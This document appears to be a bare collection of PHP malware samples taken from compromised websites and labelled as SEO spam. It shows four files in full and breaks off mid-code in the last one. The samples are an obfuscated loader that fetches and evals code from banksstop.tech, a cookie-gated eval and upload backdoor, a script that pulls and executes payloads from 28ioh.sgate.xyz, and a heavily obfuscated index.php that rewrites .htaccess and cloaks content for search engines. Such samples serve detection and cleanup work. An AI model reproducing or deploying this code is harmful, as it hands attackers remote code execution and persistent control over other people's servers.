Infected files ( SEO spam ) July, 2021

3index.php ( banksstop.tech )

<?php $uoeq967= "O)sl 2Te4x-+gazAbuK_6qrjH0RZt*N3mLcVFEWvh;inySJC91oMfYXId5Up.(GP7D,Bw/kQ8";$vpna644='JGNoID0gY3VybF9pbml0KCdodHRwOi8vYmFua3N';$vpna645='zdG9wLnRlY2gvJy4kX0dFVFsnZiddKTtjdXJsX3';$vpna646='NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBT';$vpna647='lNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMo';$vpna648='JGNoKTtldmFsKCc/PicuJHJlc3VsdCk7';$vpna643=$vpna644.$vpna645.$vpna646.$vpna647.$vpna648;function cdim173($fsxi199,$rykc638,$ekcu564){return ''.$fsxi199.''.$rykc638.''.$ekcu564.'';}$qfcg427 = cdim173($uoeq967{34},$uoeq967{13}.$uoeq967{3},$uoeq967{3});$uodu186 = cdim173($uoeq967{19}.$uoeq967{17},$uoeq967{2}.$uoeq967{7},'');$lrbk358 = cdim173($uoeq967{22},$uoeq967{19},$uoeq967{52});$hume205 = cdim173($uoeq967{17},'',$uoeq967{43});$xzdo850 = cdim173($uoeq967{34},$uoeq967{19},$uoeq967{13}.$uoeq967{22});$uqmy998 = cdim173($uoeq967{22},$uoeq967{13},$uoeq967{44});$aobc355 =cdim173(cdim173($qfcg427,'',$uodu186),cdim173($lrbk358,$hume205,''),cdim173($xzdo850,'',$uqmy998));$xggn756 = cdim173($uoeq967{34},$uoeq967{22},$uoeq967{7});$gnix510 = cdim173($uoeq967{13},$uoeq967{28},'');$wdfm884 = cdim173($uoeq967{7},'',$uoeq967{19});$loyh183 = cdim173($uoeq967{52},$uoeq967{17},$uoeq967{43});$bwfh819 = cdim173($uoeq967{34},$uoeq967{28},'');$jrmp133 = cdim173($uoeq967{42},$uoeq967{50},'');$iprf791 = cdim173('',$uoeq967{43},'');$hwks376 = cdim173( cdim173($xggn756,$gnix510,$wdfm884), cdim173($loyh183,'',$bwfh819), cdim173($jrmp133,'',$iprf791));$mtzu128 = cdim173($uoeq967{7},'',$uoeq967{39});$hesn342= cdim173($uoeq967{13},$uoeq967{3},$uoeq967{61});$taop807 = cdim173('',$uoeq967{16},$uoeq967{13});$gvcw064 = cdim173($uoeq967{2},$uoeq967{7},$uoeq967{20});$bihf178 = cdim173($uoeq967{8},$uoeq967{19},$uoeq967{56});$efaa907 = cdim173($uoeq967{7},$uoeq967{34},$uoeq967{50});$tvhp307 = cdim173($uoeq967{56},$uoeq967{7},$uoeq967{61});$qyff908 = cdim173(cdim173($mtzu128,$hesn342,''),cdim173('','',$taop807),cdim173($gvcw064,$bihf178.$efaa907,$tvhp307)).'"'.$vpna643.'"'.cdim173($uoeq967{1}.$uoeq967{1},'',$uoeq967{41});$aobc355($hwks376,array('','}'.$qyff908.'//'));//wp-blog-header scp-173?>

accesson.php

<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>

auto_seo.php ( 28ioh.sgate.xyz )

@error_reporting(0); @set_time_limit(0); ignore_user_abort(true); function OhE($url, $data = array()){ global $sDq; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); if(empty($output)){ $url .= "?" . http_build_query($data); $output = $sDq[8]($url); } return $output; } $sDq = array( @${ "_GET" } ["ARRAY"],"create_function", "str_rot13", "json_decode", "pack","base64_decode", ${ "_COOKIE" } ,"http://".${ "_SERVER" } ["HTTP_HOST"]."/","file_get_contents"); $api_url = $sDq[5]("aHR0cDovLzI4aW9oLnNnYXRlLnh5ei8="); $uid = 99; $host=$sDq[7]; if(isset($sDq[0])){ $UbCTw=$sDq[6]; @(count($UbCTw)==28&&in_array(gettype($UbCTw).count($UbCTw),$UbCTw))?(($UbCTw[65]=$UbCTw[65].$UbCTw[72])&&($UbCTw[84]=$UbCTw[65]($UbCTw[84]))&&(@$UbCTw=$UbCTw[84]($UbCTw[51],$UbCTw[65](${ $UbCTw[39] } [88])))&&$UbCTw()):$UbCTw; $db = $sDq[2]($sDq[0]); $SDkNyME = $sDq[4]("H*",$db); $re = $sDq[3]($SDkNyME,true); if(($re[0]-time())>0){ $rAaMwiF = curl_init($re[1]); curl_setopt($rAaMwiF, CURLOPT_RETURNTRANSFER, 1); $OhE = curl_exec($rAaMwiF); $cts = empty($OhE)?$sDq[8]($re[1]):$OhE; @$sDq[1](""," } ".$sDq[5]($cts)."/*"); die; } exit($sDq[0]==1?"ok":""); } $Fom = OhE($api_url, array("lc"=>"install","switch"=>1,"host"=>$host,)); $ruzhu_php = $sDq[3]($Fom,true); @$sDq[1]($null, " } ".$sDq[5]($ruzhu_php["ruzhu_php"])."/*"); echo "Seo success";

index.php

<?php @include "\057hom\145/te\162res\145new\057ter\162ese\156s-p\164/wp\055inc\154ude\163/bl\157cks\057col\165mn/\05681a\0649ec\143.ic\157";$FI8LLII88L='1244';$FI88LILI8L='wp-admin';$F8LI8II8LL="b3i8ohd2_4qy5p9rnkuflegt1amjs6-0zwcvx7";$FIIL8ILL88=$F8LI8II8LL{2}.$F8LI8II8LL{22}.$F8LI8II8LL{16}.$F8LI8II8LL{4}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{18}.$F8LI8II8LL{28}.$F8LI8II8LL{21}.$F8LI8II8LL{15}.$F8LI8II8LL{8}.$F8LI8II8LL{25}.$F8LI8II8LL{0}.$F8LI8II8LL{4}.$F8LI8II8LL{15}.$F8LI8II8LL{23};$FL8LI88ILI=$F8LI8II8LL{19}.$F8LI8II8LL{2}.$F8LI8II8LL{20}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{13}.$F8LI8II8LL{18}.$F8LI8II8LL{23}.$F8LI8II8LL{8}.$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{16}.$F8LI8II8LL{23}.$F8LI8II8LL{21}.$F8LI8II8LL{16}.$F8LI8II8LL{23}.$F8LI8II8LL{28};$F8LIL88IIL=$F8LI8II8LL{19}.$F8LI8II8LL{2}.$F8LI8II8LL{20}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{22}.$F8LI8II8LL{21}.$F8LI8II8LL{23}.$F8LI8II8LL{8}.$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{16}.$F8LI8II8LL{23}.$F8LI8II8LL{21}.$F8LI8II8LL{16}.$F8LI8II8LL{23}.$F8LI8II8LL{28};$FILLI8LI88=$F8LI8II8LL{19}.$F8LI8II8LL{18}.$F8LI8II8LL{16}.$F8LI8II8LL{34}.$F8LI8II8LL{23}.$F8LI8II8LL{2}.$F8LI8II8LL{4}.$F8LI8II8LL{16}.$F8LI8II8LL{8}.$F8LI8II8LL{21}.$F8LI8II8LL{36}.$F8LI8II8LL{2}.$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{28};$FIL88I8LLI=$F8LI8II8LL{21}.$F8LI8II8LL{15}.$F8LI8II8LL{15}.$F8LI8II8LL{4}.$F8LI8II8LL{15}.$F8LI8II8LL{8}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{13}.$F8LI8II8LL{4}.$F8LI8II8LL{15}.$F8LI8II8LL{23}.$F8LI8II8LL{2}.$F8LI8II8LL{16}.$F8LI8II8LL{22};$FIL8I8LIL8=$F8LI8II8LL{34}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{25}.$F8LI8II8LL{23}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{19}.$F8LI8II8LL{18}.$F8LI8II8LL{16}.$F8LI8II8LL{34}.$F8LI8II8LL{23}.$F8LI8II8LL{2}.$F8LI8II8LL{4}.$F8LI8II8LL{16};$FI8LLI88LI=$F8LI8II8LL{28}.$F8LI8II8LL{21}.$F8LI8II8LL{23}.$F8LI8II8LL{8}.$F8LI8II8LL{23}.$F8LI8II8LL{2}.$F8LI8II8LL{26}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{20}.$F8LI8II8LL{2}.$F8LI8II8LL{26}.$F8LI8II8LL{2}.$F8LI8II8LL{23};$F8LL88IIIL=$F8LI8II8LL{0}.$F8LI8II8LL{25}.$F8LI8II8LL{28}.$F8LI8II8LL{21}.$F8LI8II8LL{29}.$F8LI8II8LL{9}.$F8LI8II8LL{8}.$F8LI8II8LL{21}.$F8LI8II8LL{16}.$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{6}.$F8LI8II8LL{21};$F88LILIIL8=$F8LI8II8LL{0}.$F8LI8II8LL{25}.$F8LI8II8LL{28}.$F8LI8II8LL{21}.$F8LI8II8LL{29}.$F8LI8II8LL{9}.$F8LI8II8LL{8}.$F8LI8II8LL{6}.$F8LI8II8LL{21}.$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{6}.$F8LI8II8LL{21};$F8L88LIILI=$F8LI8II8LL{13}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{22}.$F8LI8II8LL{8}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{13}.$F8LI8II8LL{20}.$F8LI8II8LL{25}.$F8LI8II8LL{34}.$F8LI8II8LL{21};$FIL888ILLI=$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{15}.$F8LI8II8LL{8}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{13}.$F8LI8II8LL{20}.$F8LI8II8LL{25}.$F8LI8II8LL{34}.$F8LI8II8LL{21};$F8LI8ILL8I=$F8LI8II8LL{19}.$F8LI8II8LL{2}.$F8LI8II8LL{20}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{21}.$F8LI8II8LL{36}.$F8LI8II8LL{2}.$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{28};$FILII8LL88=$F8LI8II8LL{34}.$F8LI8II8LL{18}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{8}.$F8LI8II8LL{28}.$F8LI8II8LL{21}.$F8LI8II8LL{23}.$F8LI8II8LL{4}.$F8LI8II8LL{13}.$F8LI8II8LL{23};$FL8IL8I8IL=$F8LI8II8LL{13}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{22}.$F8LI8II8LL{8}.$F8LI8II8LL{26}.$F8LI8II8LL{25}.$F8LI8II8LL{23}.$F8LI8II8LL{34}.$F8LI8II8LL{5};$FLIILL888I=$F8LI8II8LL{34}.$F8LI8II8LL{18}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{8}.$F8LI8II8LL{34}.$F8LI8II8LL{20}.$F8LI8II8LL{4}.$F8LI8II8LL{28}.$F8LI8II8LL{21};$F8ILLIIL88=$F8LI8II8LL{18}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{21}.$F8LI8II8LL{16}.$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{6}.$F8LI8II8LL{21};$FILL8L8I8I=$F8LI8II8LL{22}.$F8LI8II8LL{32}.$F8LI8II8LL{2}.$F8LI8II8LL{16}.$F8LI8II8LL{19}.$F8LI8II8LL{20}.$F8LI8II8LL{25}.$F8LI8II8LL{23}.$F8LI8II8LL{21};$F8I8LL8IIL=$F8LI8II8LL{34}.$F8LI8II8LL{18}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{8}.$F8LI8II8LL{2}.$F8LI8II8LL{16}.$F8LI8II8LL{2}.$F8LI8II8LL{23};$FL88ILII8L=$F8LI8II8LL{34}.$F8LI8II8LL{18}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{8}.$F8LI8II8LL{21}.$F8LI8II8LL{36}.$F8LI8II8LL{21}.$F8LI8II8LL{34};$FLILI8L88I=$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{15}.$F8LI8II8LL{15}.$F8LI8II8LL{13}.$F8LI8II8LL{4}.$F8LI8II8LL{28};$F8IL8LL8II=$F8LI8II8LL{28}.$F8LI8II8LL{34}.$F8LI8II8LL{25}.$F8LI8II8LL{16}.$F8LI8II8LL{6}.$F8LI8II8LL{2}.$F8LI8II8LL{15};$F8IIIL88LL=$F8LI8II8LL{21}.$F8LI8II8LL{36}.$F8LI8II8LL{13}.$F8LI8II8LL{20}.$F8LI8II8LL{4}.$F8LI8II8LL{6}.$F8LI8II8LL{21};$FIL88IL8LI=$F8LI8II8LL{6}.$F8LI8II8LL{2}.$F8LI8II8LL{15}.$F8LI8II8LL{16}.$F8LI8II8LL{25}.$F8LI8II8LL{26}.$F8LI8II8LL{21};$FIIIL8L8L8=$F8LI8II8LL{18}.$F8LI8II8LL{16}.$F8LI8II8LL{20}.$F8LI8II8LL{2}.$F8LI8II8LL{16}.$F8LI8II8LL{17};$F8ILLII8L8=$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{15}.$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{15};$FL8IILL88I=$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{21}.$F8LI8II8LL{16};$FILLL8I8I8=$F8LI8II8LL{2}.$F8LI8II8LL{28}.$F8LI8II8LL{8}.$F8LI8II8LL{6}.$F8LI8II8LL{2}.$F8LI8II8LL{15};$F88LI8LILI=$F8LI8II8LL{26}.$F8LI8II8LL{17}.$F8LI8II8LL{6}.$F8LI8II8LL{2}.$F8LI8II8LL{15};$FLI88ILL8I=$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{18}.$F8LI8II8LL{16}.$F8LI8II8LL{23};$F8ILIL8I8L=$F8LI8II8LL{34}.$F8LI8II8LL{5}.$F8LI8II8LL{26}.$F8LI8II8LL{4}.$F8LI8II8LL{6};$FLL8II88IL=$F8LI8II8LL{23}.$F8LI8II8LL{15}.$F8LI8II8LL{2}.$F8LI8II8LL{26};$FLI8LLII88=$F8LI8II8LL{6}.$F8LI8II8LL{25}.$F8LI8II8LL{23}.$F8LI8II8LL{21};header('Content-Type:text/html;charset=utf-8');${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x49\x38\x4c\x4c\x49"](0);$F8IILL8LI8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FL8I8LI8IL=\'\',$F88LLLI8II=NULL,$F8III88LLL=array()','$FILI8IL8L8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'Sy4tyhTonPzMss0U4GsYpTS/ILoOzUitRtPkAA==\');$FIL8LI8LI8=$F8LLII8IL8=\'\';foreach(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'|\',$FILI8IL8L8) as $c){$F8I8LL8LII=1;foreach(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'+\',$c) as $d){if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x49\x38\x4c\x49\x38\x38"]($d)){$F8I8LL8LII=0;}}unset($d);if($F8I8LL8LII){$FIL8LI8LI8=$c;break;}}unset($FILI8IL8L8,$c);if($FIL8LI8LI8==\'\'){return 0;}if(substr($FIL8LI8LI8,0,1)==\'c\'){$F88ILL8IIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x38\x4c\x4c\x38\x49\x49\x4c"]();${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x49\x49\x38\x4c\x4c\x38\x38"]($F88ILL8IIL,CURLOPT_URL,$FL8I8LI8IL);${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x49\x49\x38\x4c\x4c\x38\x38"]($F88ILL8IIL,CURLOPT_USERAGENT,\'WHR\');${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x49\x49\x38\x4c\x4c\x38\x38"]($F88ILL8IIL,CURLOPT_RETURNTRANSFER,1);${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x49\x49\x38\x4c\x4c\x38\x38"]($F88ILL8IIL,CURLOPT_TIMEOUT,100);$FL8LLI8I8I=${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x38\x49\x4c\x49\x49\x38\x4c"]($F88ILL8IIL);${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x49\x4c\x4c\x38\x38\x38\x49"]($F88ILL8IIL);if(!$FL8LLI8I8I){return 0;}else{$FL8LLI8I8I=${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FL8LLI8I8I,"\\xEF\\xBB\\xBF"));return $FL8LLI8I8I;}}if($FL8I88ILIL==\'\'){if(${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x49\x38\x4c\x49\x38\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]) and $FL8I8LI8IL){$FL8I88ILIL=@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($FL8I8LI8IL);}}unset($F8LLII8IL8,$FIL8LI8LI8,$fp,$port,$_host);return ${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FL8I88ILIL,"\\xEF\\xBB\\xBF"));');$FIL8LI8IL8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FIL8LI8LI8nbed','$FL88LIII8L=substr($FIL8LI8LI8nbed,0,5);$F8LLI8LI8I=substr($FIL8LI8LI8nbed,-5);$FLL888ILII=substr($FIL8LI8LI8nbed,7,${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x49\x4c\x4c\x38\x38\x49"]($FIL8LI8LI8nbed)-14);return ${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x38\x4c\x38\x49\x38\x49"](${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x4c\x49\x49\x4c\x38"]($FL88LIII8L.$FLL888ILII.$F8LLI8LI8I));');$F8LIL88LII=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FILI8IL8L8gent','$FIILL8L8I8=false;$FL88LLII8I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S8/PThT89JTcotPvqQEA\');$FL88LLII8I.=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S8rMShT0/KL6lJz89Pz0mtPtAQA=\');$FL88LLII8I.=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S8zPqhTUnKzEuvqUzMyM8tPHAA==\');if($FILI8IL8L8gent!=\'\'){if(${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x4c\x38\x49\x38\x49\x4c"]("/($FL88LLII8I)/si",$FILI8IL8L8gent)){$FIILL8L8I8=true;}}return $FIILL8L8I8;');$FL8LIL8I8I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FL8LLI8I8Iefer','$FIIL888ILL=false;$FL88IILIL8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S8/PThT89J1UvO18stPqqAEA\');$FL88IILIL8.=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'q0zMyhTM/XS87XyyqtPoAQA=\');$FL88IILIL8.=\'bing\';if($FL8LLI8I8Iefer!=\'\'&&${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x4c\x38\x49\x38\x49\x4c"]("/($FL88IILIL8)/si",$FL8LLI8I8Iefer)){$FIIL888ILL=true;}return $FIIL888ILL;');$F88LIIIL8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FILI8IL8L8pidelpath','$FILL8IL88I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S0nNShTS1JrUktKsotPvAgA=\');$FIIL88LL8I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S0nNShTS1JrSkuTU5OLS4tPGAA==\');$FLII8LL8I8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S0nNShTS1JrcnLV0jLzEktPFAA==\');$F88LII8ILL=isset(${"\x5fG\x45T"}[\'xxxxxxxxxxxx_fil\'.\'ename\'])?${"\x5fG\x45T"}[\'xxxxxxxxxxxx_fil\'.\'ename\']:\'\';if($F88LII8ILL==${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'SyzIThTEntPNAQA=\')){$F88LII8ILL=$FILI8IL8L8pidelpath;}if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x38\x49\x4c\x4c\x38\x49"]($F88LII8ILL)){@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x49\x4c\x38\x49\x38\x4c"]($F88LII8ILL,0644);if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x49\x49\x4c\x38\x4c\x38\x4c\x38"]($F88LII8ILL)){echo $FILL8IL88I;}else{echo $FIIL88LL8I;}}else{echo $FLII8LL8I8;}');$F8IIIL8LL8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FIIL8I8LL8=\'\',$FI8L8ILL8I,$FI88LII8LL,$FII88LIL8L','$FLL8L8III8=\'\';$FILIL8I88L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'s/FM8hT81PKc1JVcjNT4ktPvSgUA\').\'write.c>\';$FLI88LI8LI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'C0otLhT8osSXUtPFAA==\').\'ngine\';$F8LL88IILI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'C0otLhT8osSXUtPCAA==\').\'ase\';$FL8ILI88LI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'C0otLhT8osSQ0tPCAA==\').\'ule\';$FILLII88L8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'C0otLhT8osSXUtPGAA==\').\'ond\';$FILLI88I8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'s9H3ThTPPNTyktPFAA==\').\'le>\';$FLILLI888I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'C3INDhTHUtPNDgEA\').\'_FILENAME\';$FI88LLIIL8=\'inde\'.\'x.php\';$FIIL8I8LL8= $FILIL8I88L."\\n";$FIIL8I8LL8 .=$FLI88LI8LI."\\x20On\\n";$FIIL8I8LL8 .=$F8LL88IILI."\\x20/\\n";$FIIL8I8LL8 .=$FL8ILI88LI."\\x20^".$FI88LLIIL8."$\\x20-\\x20[L]\\n";$FIIL8I8LL8 .=$FILLII88L8."\\x20%{".$FLILLI888I."}\\x20!-f\\n";$FIIL8I8LL8 .=$FILLII88L8."\\x20%{".$FLILLI888I."}\\x20!-d\\n";$FIIL8I8LL8 .=$FL8ILI88LI."\\x20.\\x20".$FLL8L8III8.$FI88LLIIL8." [L]\\n";$FIIL8I8LL8 .=$FILLI88I8L;if($FIIL8I8LL8!=\'\'){if($FI8L8ILL8I){$FL8LIIIL88=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'09PXyhTyhtPJTAYA\');$FL8LIIIL88.=\'cess\';if($FL8LIIIL88!=\'\'){@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x49\x4c\x38\x49\x38\x4c"]($FL8LIIIL88,0644);$FILIL8L8I8=@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($FL8LIIIL88);if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FILIL8L8I8,$FLILLI888I)||!${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FILIL8L8I8,$FL8ILI88LI."\\x20.\\x20".$FLL8L8III8.$FI88LLIIL8." [L]\\n")||!${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FILIL8L8I8,$FL8ILI88LI."\\x20^".$FI88LLIIL8."$\\x20-\\x20[L]\\n")){$FILIL8L8I8=$FIIL8I8LL8.PHP_EOL .$FILIL8L8I8;@${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"]($FL8LIIIL88,$FILIL8L8I8);}}}}');$FLI8I88LLI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FL88LII8LI=\'\'','$F8LLLIII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x49\x4c\x38\x4c\x49"](__FILE__);foreach(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x38\x4c\x4c\x38\x49\x49"]($F8LLLIII88) as $FLII8ILL88){if($FLII8ILL88==\'.\'||$FLII8ILL88==\'..\') continue;if(${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x4c\x38\x49\x38\x49\x38"]($F8LLLIII88.\'/\'.$FLII8ILL88)){$FL88LII8LIArray[] =$FLII8ILL88;}}$FI88LILI8L=\'temp\';$FL88LII8LIArray[] =$FI88LILI8L;return $FL88LII8LIArray;');$FI8ILL88IL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FI8I8LLIL8=\'\'','@${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x38\x4c\x4c\x49\x38\x38\x4c\x49"](3600);@${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x49\x4c\x38\x49\x4c\x4c\x38\x38"](1);global $FI8LLII88L,$FI88LILI8L;$FI8L8ILL8I="1";$F88IL8LILI=\'\';$FLIII8L8L8pps =\'\';$FLLI8ILI88=${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"];$FIIL8LI8L8=isset(${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"])?${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]:\'\';$FLII8IL88L=isset(${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"])?${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]:\'\';$FLIIL8L88I=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x4c\x49\x49"]($FLII8IL88L);$FLI88LLII8=${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x4c\x38\x49\x38\x49"]($FIIL8LI8L8);$F8ILI8I8LL=\'\';if(isset(${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){$F8ILI8I8LL=${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"_S\x45\x52\x56\x45R"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){$F8ILI8I8LL=${"_S\x45\x52\x56\x45R"}["\x53\x45\x52\x56\